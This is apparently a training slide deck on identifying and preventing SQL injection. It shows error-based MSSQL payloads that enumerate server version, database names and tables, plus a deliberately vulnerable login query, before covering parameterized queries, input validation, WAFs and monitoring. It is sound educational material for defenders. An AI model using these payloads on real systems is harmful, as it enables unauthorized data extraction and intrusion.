Uploaded byEguardian Global Services
How to identify and prevent SQL injection
The document discusses SQL injection (SQLi) as a major web application vulnerability that can compromise sensitive data and lead to unauthorized access. It outlines notable SQLi incidents and explains how attackers manipulate SQL queries to extract, modify, or delete data. Prevention strategies include using parameterized queries, validating user input, and employing web application firewalls and intrusion prevention systems.
How to identify and prevent SQL injection
- 1. How to Identifyand Prevent SQL Injection
- 2. #Whoami Janith Malinga Security Consultant@egscyber Web Pentester for 4 years Enthusiastic traveler Community teacher over for 6 years Twitter : @janithSmalinga linkedIn : https://www.linkedin.com/in/malingajanith/ Github : https://github.com/janithmalinga Phone : 0769803462
- 3. Why web applicationsneed security • Behind most applications lies sensitive data • Easy to access • Anybody can access from anywhere • Hard to trace back • Lot of tools available to hack a web site (sql map, BEEF)
- 4. Web Application Vulnerabilities OWASPTop 10 Application Security Risks 1. Injection 2. Broken Authentication 3. Sensitive Data Exposure 4. XML External Entities (XXE) 5. Broken Access Control 6. Security Misconfiguration 7. Cross-Site Scripting (XSS) 8. Insecure Deserialization 9. Using Components with Known Vulnerabilities 10. Insufficient Logging & Monitoring
- 5.
- 6. What is SQLi SQLiis a vulnerability that results in letting an attacker influence SQL queries that an application passes to the backend of a database
- 7. Well known SQLiAttacks • Lenovo (2019) 1+ million users compromised • Texas.gov and Florida.gov (2018) state databases of contractors and employees leaked. • Shamshabad engineering college incident (2018) Students hack the system and changed their results • Mossack Fonseca (Panama Papers) (2016) The famous panama paper incident by wikileaks.
- 8. Well known SQLiAttacks SQLi Malwares • Asprox • Lizamoon
- 9. Understand how webapplications work Client Computer Application Server Database Server
- 10. Understand how webapplications work Client Computer Application Server Database Server Request /home.php Response /home.php
- 11. Understand how webapplications work Student search ID: Search https://www.abcd.com/student
- 12. Understand how webapplications work Student search 123ID: Search https://www.abcd.com/student?id=123
- 13. Understand how webapplications work Student search 123ID: Search https://www.abcd.com/student ID 123 Name Bob Age 18 Class Maths
- 14. Understand how webapplications work Client Computer Application Server Database Server Request /student.php?id=123 Response /student.php id=123&name=Bob&a ge=18&class=Maths What’s happening under the hood??? Select * from students where id=123 123 Bob 18 Maths
- 15. Understanding SQLi Recall: whatis SQLi? SQLi is a vulnerability that results when you gives an attacker the ability to influence the SQL queries that an application passes to a backend database.
- 16. Understanding SQLi Now let’smanipulate the input so that the database will be confused ☺
- 17. Understand how webapplications work Student search ‘ID: Search https://www.abcd.com/student?id=‘ The user input is only ‘ character
- 18. Understand how webapplications work Client Computer Application Server Database Server Request /student.php?id=‘ Response /student.php Error: What the heck are you searching??? What’s happening under the hood??? Select * from students where id=‘ Error: What the heck are you searching???
- 19. Understand how webapplications work Student search ‘ID: Search https://www.abcd.com/student?id=‘ Error: What the heck are you searching???
- 20.
- 21.
- 22.
- 23. What SQLi cando • Extract data • Add or modify data • Perform DOS attack • Bypass authentication • Executing remote commands
- 24. Sample SQL InjectionAttack
- 25. Web login form Firstwe sent the input ‘ character Member login Username: Password: Login
- 26. Output – pageis vulnerable to sql injection
- 27. Payload: a’ and1=0/@@version;-- Find database version
- 28. Payload: a' and1=0/(select @@servername);-- Find server name
- 29. Payload: a' and1=0/(select db_name());-- Find database name
- 30. Payload: a' and1=0/(select top 1 name from master..sysdatabases);-- Find all databases
- 31. Payload: a' and1=0/(select top 1 name from master..sysdatabases where name not in (select top 1 name from master..sysdatabases));-- Find all databases
- 32. Payload: a' and1=0/(select top 1 name from master..sysdatabases where name not in (select top 2 name from master..sysdatabases));-- Find all databases
- 33. Payload: a' and1=0/(select top 1 name from sysobjects where xtype = 'U' and name NOT IN (select top 1 name from sysobjects where xtype = 'U'));-- Find tables
- 34. Payload: a' and1=0/(select top 1 name from sysobjects where xtype = 'U' and name NOT IN (select top 2 name from sysobjects where xtype = 'U'));-- Find tables
- 35. Payload: a' and1=0/(select top 1 name from sysobjects where xtype = 'U' and name NOT IN (select top 3 name from sysobjects where xtype = 'U'));-- Find tables
- 36. Next steps • Gettingall the data • Manipulating the data • Finally exploit the OS and gain access to the server and clear the logs. ☺ ☺ ☺
- 37. How to PreventSQL Injection
- 38. Prevent SQL Injection 1.Code level prevention 2. Platform level prevention
- 39. Prevent SQL Injection Codelevel prevention - Use parameterized queries Bad practice username = request(“username”) password = request(“password”) sql = “SELECT * FROM users WHERE username=‘ ” + username + “ ’ AND password=‘ “ + password + “ ‘ “; result = Db.Execute(sql) If(result){/*Login success*/}
- 40. Prevent SQL Injection Goodpractice : Use parameterized queries username = request(“username”) password = request(“password”) string sql = “SELECT * FROM users WHERE username=? AND password=?”; preparedstatement cmd = con.preparedstatement(sql); cmd.setstring(1, username); cmd.setstring(2, password); result = cmd.executeQuery(); If(result){/*Login success*/}
- 41. Prevent SQL Injection Codelevel prevention - Validating input • Whitelisting • Blacklisting Data type, data size, data range, content
- 42. Prevent SQL Injection Codelevel prevention - Encoding output Encoding to the database sql = sql.replace(“’”, “’’”);
- 43. Prevent SQL Injection Platformlevel prevention - Web application firewall (WAF)
- 44. Prevent SQL Injection Platformlevel prevention - IPS
- 45. Prevent SQL Injection Platformlevel prevention – Log collection and Monitoring
- 46.